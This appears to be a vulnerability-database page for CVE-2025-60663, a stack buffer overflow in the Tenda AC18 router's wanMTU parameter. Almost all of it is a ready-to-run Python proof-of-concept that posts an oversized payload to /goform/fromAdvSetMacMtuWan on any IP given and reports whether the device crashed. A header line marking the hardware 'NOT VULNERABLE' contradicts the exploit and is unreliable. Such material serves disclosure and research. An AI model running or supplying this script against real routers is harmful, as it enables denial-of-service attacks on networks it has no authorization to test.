cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC18 固件版本 V15.03.05.19
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2025-60663 - Tenda AC18 V15.03.05.19 Stack Overflow PoC
Vulnerability: Stack buffer overflow via wanMTU parameter in fromAdvSetMacMtuWan function
Author: Security Research
"""
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning
# Disable SSL warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exploit(target_ip, port=80):
"""
Exploit the wanMTU stack buffer overflow vulnerability in Tenda AC18 router.
Args:
target_ip: The IP address of the target router
port: The HTTP port (default 80)
"""
target_url = f"http://{target_ip}:{port}/goform/fromAdvSetMacMtuWan"
# Construct the overflow payload for wanMTU parameter
# The buffer is typically small, so we use a large payload to trigger overflow
overflow_payload = "A" * 2000 # Overflow payload exceeding buffer size
# POST data with the malicious wanMTU parameter
payload = {
"wanMTU": overflow_payload
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
try:
print(f"[*] Targeting: {target_url}")
print(f"[*] Sending payload with wanMTU length: {len(overflow_payload)}")
response = requests.post(
target_url,
data=payload,
headers=headers,
timeout=10,
verify=False
)
print(f"[*] Response status code: {response.status_code}")
print(f"[*] Response length: {len(response.text)}")
# Check if the attack was successful (device may crash or return error)
if response.status_code == 500 or "error" in response.text.lower():
print("[+] Exploit may have succeeded - device may be unstable")
else:
print("[*] Request sent, check device status manually")
except requests.exceptions.Timeout:
print("[+] Target timed out - possible DoS success")
except requests.exceptions.ConnectionError:
print("[+] Connection refused - possible DoS success (device crashed)")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [port]")
print(f"Example: {sys.argv[0]} 192.168.0.1 80")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
exploit(target, port)